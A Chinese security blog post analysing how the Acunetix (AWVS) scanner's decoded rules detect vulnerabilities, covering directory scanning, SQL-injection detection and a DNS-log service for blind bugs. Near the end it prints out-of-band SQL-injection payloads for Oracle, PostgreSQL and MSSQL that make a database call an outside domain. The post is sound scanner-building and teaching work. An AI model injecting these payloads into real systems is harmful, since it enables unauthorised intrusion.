對AWVS掃描規則的分析
最近對awvs進行一些簡單研究,眾所周知awvs的非常好用的掃描器。強大的爬掃能力讓很多人很喜歡他,不過強大的話也對應有它的缺點,第一,體積龐大,掃描耗時間太久;第二,無法跨平臺,只能讓windows來用。不過這個幾個缺點對這個牛逼的掃描器貌似也沒啥影響,還是很多人愛用。
不過對掃描器來說核心還是規則,我們還是可以重點分析一下awvs的掃描規則。
一個web狗,不會分析二進制。所以我只能抓包來分析了。
搭建一個漏洞url地址(這里只要一個url就夠了,多了payload就太多不好分析了)用burp來抓,設置好burp的代理地址(proxy-options-proxy listeners-add)。在awvs中在設置一下掃描器的使用的代理地址為burp就可以開心的抓包了。
簡單的抓包,可以大體的看成來awvs都做哪些掃描,而且我們可以找到一些馬上可以用規則,比如破殼漏洞,文件讀取,備份文件掃描,敏感文件掃描,ssrf,頭注入等等。
但是分析了一波流量,還是感覺很多payload找不到規則(比如sql注入的邏輯,jboss的漏洞匹配規則等等)。于是看了一下awvs的安裝目錄發現有一個data/scripts目錄,里面有很多加密的文件,不用說了一定是掃描規則。
于是開始在網上找有沒有人做過這個的相關破解工作,發現還真有:
http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/
http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/
問了一下博主要了一下規則,他就直接把規則同步github?https://github.com/c0ny1/awvs_script_decode
這種“前人種樹,后人乘涼”的感覺還是很舒服的,所以自己以后也要多種種”樹“.
打開規則一開全是類似javascript的腳本,直接看還是有點難懂。如果最好能運行并調試起來就美滋滋了。去搜索了一下官方的關于script的文檔發現,awvs提供了編寫script腳本的接口。
http://www.acunetix.com/download/tools/WVSSDK.zip
解壓以后里面有一個使用文檔,根據文檔就明白很多了。
根據文檔我們可以知道:
1.awvs提供了wvs scripting程序給我們進行自定義的腳本編寫,我們可以用它來對這些腳本進行調試,(只需要把這個文件拷貝到awvs的安裝目錄即可)。
2.awvs 提供了script可用api,在https://www.acunetix.com/resources/sdk/種可以進行查看。
3.script的幾個腳本目錄是根據掃描的特點進行分類的:
3.1.includes 頭文件,用于常量聲明,生產隨機數 和md5加密等等,很多掃描的匹配規則會在這里定于這個文件
3.2.network 主機的漏洞掃描 個人感覺非重點 比較avws是搞web掃描出名的。
3.3.PerFile 在文件名上的加payload測試,比如根據文件名掃備份文件掃描,破殼漏洞掃描等,個人理解就是根據uri進行一些參數掃描
3.4.PerFolder 根據目錄型的url 進行一些掃描 比如敏感目錄泄漏掃描,敏感文件泄漏掃描,git泄露掃描等。
3.5.PerScheme awvs將有參數傳遞的url稱為Scheme,所以這個目錄就是在各個參數傳入點設置掃描payload進行對應的漏洞測試。比如命令執行漏洞,代碼執行漏洞,xss漏洞掃描,sql漏洞掃描等等。(我們可以在這個目錄中學到很多規則和漏洞掃描姿勢。)
3.6.PerServer 一般用于測試第三方中間件,包括指紋識別,只最開始掃描的時候進行一次。比如Flask_Debug 打開,jboss各種漏洞,tomcat各種漏洞等。
3.7 WebApps 第三方cms漏洞掃描。比如wordpress的漏洞掃描,joolma漏洞掃描等等
下面以/Scripts/PerFile/Bash_RCE.script作為一個調試案例:
使用wvs scripting打開/Scripts/PerFile/Bash_RCE.script文件。
點擊小齒輪,設置掃描目標:
這里比較蛋疼就是不能直接輸入掃描的目標(反正我沒找到),需要去load一下awvs爬蟲保存的.cwl文件。我們在awvs上簡單爬一下掃描的目標,然后保存成xxx.cwl。再通過wvs scripting去load這個文件。
最后是運行,這里具體根據script來確定set target的什么類型,比如Bash_RCE.script,中用了var file = getCurrentFile(),你就需要set file target,最后run per file。(當然還有其他的就不再舉例子了)
到這里我們就可以跑起每個腳本進行運行調試了,能跑起來,我們就可以去logInfo一些東西,這樣去看腳本都做哪些操作就簡單多了。
tip:那么我們可以一個一個目錄的去分析每個腳本,當然也有一個小技巧去提前分析高危的掃描腳本。那就是先用awvs去掃一下他的測試站點:http://testphp.vulnweb.com/?,awvs會告訴你是哪個腳本發現的漏洞和且匹配到的內容,這樣我們就挑選自己最先想研究的漏洞來看。(不過要注意這個testphp測試站點,awvs默認啟動了AcuSensor Technology技術
https://www.acunetix.com/vulnerability-scanner/acusensor-technology/
如果你要用它做測試站點的話,代碼邏輯會走到acusensor對應的代碼)
awvs在掃描前,都會對url進行的詳細的分類和參數的解析。常見為:file,folder,scheme等類型。幾乎每種類型的url都會有一個目錄對他進行專門的漏洞掃描。
在掃描前對url進行比較細致的分類是可以學習一波的,特別是對scheme類型的url進行參數解析。大部分的掃描都會有這部分的參數解析,不過一般都是類似于(a=b&c=1的這種解析),但是如果參數是json格式的(b=1&c={"uname":"wilson","id":"23333"}) ,很多掃描器不支持,不過大家可以參加一下sqlmap的json格式解析(walk方法,https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/common.py)
至于每種類型的url都會有一個目錄對它進行專門的漏洞掃描方式的話,你也可能選擇用一個腳本去處理一類漏洞類型,然后對這個漏洞類型可能在哪種url類型出現進行測試。
看到代碼最大的好處就是可以看到他的匹配正則了,比如敏感部署文件備份匹配規則,任意文件讀取規則,sql報錯注入關鍵字匹配,命令執行等等。
更多規則見腳本。
https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/
這東西簡單理解就是和你的dnslong一樣的,適用于掃描無回顯的漏洞,比如:
Blind Server-side XML/SOAP Injection
Blind XSS (also referred to as Delayed XSS)
Host Header Attack
Out-of-band Remote Code Execution (OOB RCE)
Out-of-band SQL Injection (OOB SQLi)
SMTP Header Injection
Server-side Request Forgery (SSRF)
XML External Entity Injection (XXE)
我們可以在腳本中找到他們的規則:
那么重點是怎么把漏洞和對應url關聯??
我的處理是讓漏洞服務器發起http請求,將urlid帶到uri中,比如
http://blog.wils0n.cn/urlid/param/cveid
根據這uri中的urlid進行定位url參數。但是這樣會還是會有一些漏掃,比如ssrf只出現在http的host中,uri并不會帶入請求。
所以比較準確一個是使用dns來做。例如:nslookup dns.urlid-param-cveid.wils0n.cn,在服務端上根據urlid-param-cveid來處理漏洞。
關于dnslog service的搭建:
使用方法一)一個服務器
工具:https://github.com/Wyc0/DNSLog/blob/master/dns.py(簡單,一個腳本就夠了)
觸發方法:nslookup urlid-param-cveid.wils0n.cn 服務器的ip
這種方法必須指定后面的ip。
使用方法二)一個服務器加一個域名:
域名設置(請教了@izy和@鳳凰)
用阿里云的為例子:
1.設置一個a記錄。ns1.wils0n.cn --->你的服務ip假如 118.11.11.11
2.設置一個ns記錄。 dns.wils0n.cn --->ns1.wils0n.cn
存在的問題:
問題1)沒有響應包回復,導致請求會一直發,可以參考https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py?進行改進一下。
問題2) url跳轉掃描可能會導致誤報的情況出現,由于dns請求會繞過很多跳,所以根據掃描ip來判斷是無法做到,暫時不知道怎么解決。。。不過誤報會比漏報好一些
很多web掃描器的開始都是對url進行網站目錄和文件掃描,然后再結合爬蟲一起爬一下。
因為大家的想法都是:“不管有沒有漏洞,我先掃一遍目錄再說”,所以網上這種爬目錄文件的工具極其多。
看了一下網上的工具的邏輯大概是:
1.取一個不可能存在的url,判斷是不是存在404的狀態碼。
存在的404話,下面的判斷只要根據狀態碼來判斷是否存在就好了。
不存在的話走下面2的邏輯。
2.獲取該不存在url的相應內容,作為一個404不存在的頁面標示,接下去的掃描如果獲取到頁面不和這個404表示一樣的就認為是200的存在頁面。
這個思路在大部分情況下面用。但是有些站點,你會發現掃到一堆200的誤報。分析為什么:
在邏輯1中,404的判斷取一個不存在的url是不夠的,你需要取多個,因為有的站點xxxx.php是404,而xxxx.jsp就變成200了。
在邏輯2中,有種情況是這個404的頁面是會不斷變化的,比如淘寶的404頁面中,下面會出現不同的鏈接商品推薦。這樣就會產生一大堆的誤報。
那么我們分析一下awvs的目錄和文件掃描姿勢:(Backup_File.script,Sensitive_Files.script, Possible_Sensitive_Directories ,Possible_Sensitive_Files )
第一)在Backup_File和Sensitive_Files中看到能用正則匹配的,先用規則來匹配,這個比較準確,誤報低。
第二) Backup_File中我們發現,awvs的再解決邏輯2中出現的問題時候,用了一個小的tip:在發現頁面內容和404標示不一樣的時候,再去取了一個不存在的url2獲取新的404標示,然后判斷兩個標示是不是一樣,一樣的話說明這個200掃描沒用問題,從而去掉這個誤報。
第三) 在Possible_Sensitive_Directories ,Possible_Sensitive_Files中,我們發現awvs去掉了邏輯2。只對存在404的url進行目錄和文件掃描。而目錄掃描和文件掃描的邏輯不一樣的,我們發現當一個文件存在時候返回時200,但是當一個目錄存在的時候確是302跳轉,我們需要匹配http頭的Location進行判斷。那么網上那些掃描目錄工具不就2b了么?
這里其實要說到一個坑,這些工具都是使用了python的requests庫,這個庫默認是會進行url跟隨跳轉的。所以他們沒有必要區分掃描目錄和文件掃描。如果你把requests中設置了allow_redirects=False,那你就要去自己匹配http頭的Location關鍵字。
個人感覺掃目錄邏輯走第一和第三就可以了。
可能很多人都會用sqlmap來做注入檢查,但是sqlmap還是有點大,掃描payload比較多,掃描時間長。
awvs的sql注入也可以參考一下:
主要匹配的關鍵字有:
You have an error in your SQL syntax|The database has encountered a problem|database error|unknown column\\s|SQL syntax.*MySQL|Warning.*mysql_.*|(Incorrect\ssyntax\snear\s'[^']*')|.....(很多大家去對應腳本里面找)
這樣匹配的話,還是比較準確的,但是有的時候會有誤報。
2.1 bool型的盲注入
我把這部分的掃描邏輯理了一下,大概是這樣的:
判斷參數是不是有效的,即:輸入和原來的值不一樣的參數時候,頁面(過濾過的,過濾了html標簽,當前輸入值,原始輸入值)是否一樣
如果參數有效,就用 and payload 判斷是不是存在漏洞(多個判斷)
如果參數無效,就用 or payload 判斷是不是存在漏洞(多個判斷)
我參考以后,發現它會有一些漏掃描,比如 數字型等帶有單引號的注入。
然后我決定優化一下,并去掉第三步的驗證。因為一般都無有效參數的,無效的參數一般不做檢查了,而且or注入可能會導致一些誤報等。
2.2 基于時間盲注入
原理很簡單,然后數據庫去sleep一段時間。payload對應腳本里面找,或者可以參考一下sqlmap的。
然后就是注意各種閉合,比如: ', ", ), )), '), "), ')), ")), ;, 等等
個人的實踐告訴我,基于時間的注入檢查是最準確的。如果你是甲方的話,基于時間盲注入應該是最適合你的了。因為你可以去監控mysql的慢日志或者異常日志去查詢sleep登關鍵字來結合著一起發現sql注入漏洞,我在實踐中是有用這種方法發現過一些比較隱蔽的sql注入的。
測試oracle的注入:
xxxx||UTL_INADDR.get_host_address('{DOMAIN}')
PostgreSQL:
{ORIGVALUE};copy?(select?'')?to?program?'nslookup?{DOMAIN}
windows +mssql:
{ORIGVALUE};EXEC?master..xp_dirtree?'\\{DOMAIN}\'?--
同樣,也要注意各種閉合。
xxe漏洞檢測,改變Content-type頭(text/xml,application/xml),可能會測出漏洞。
更多腳本還在分析 .......
很多挺好玩的漏洞掃描知識,因為文章篇幅和時間精力問題就沒有進行更多分析了,大家可以自己去找自己感覺好用的script進行debug和邏輯分析。分析到好的思路也可以分享出來看看。
請勿用本文提到的技術進行未授權的滲透測試,我們不負任何連帶法律責任
文章參考:
http://www.acunetix.com/
http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/
http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/
本文轉自 Seebug Paper 。地址:https://paper.seebug.org/461/
漏洞掃描服務
版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。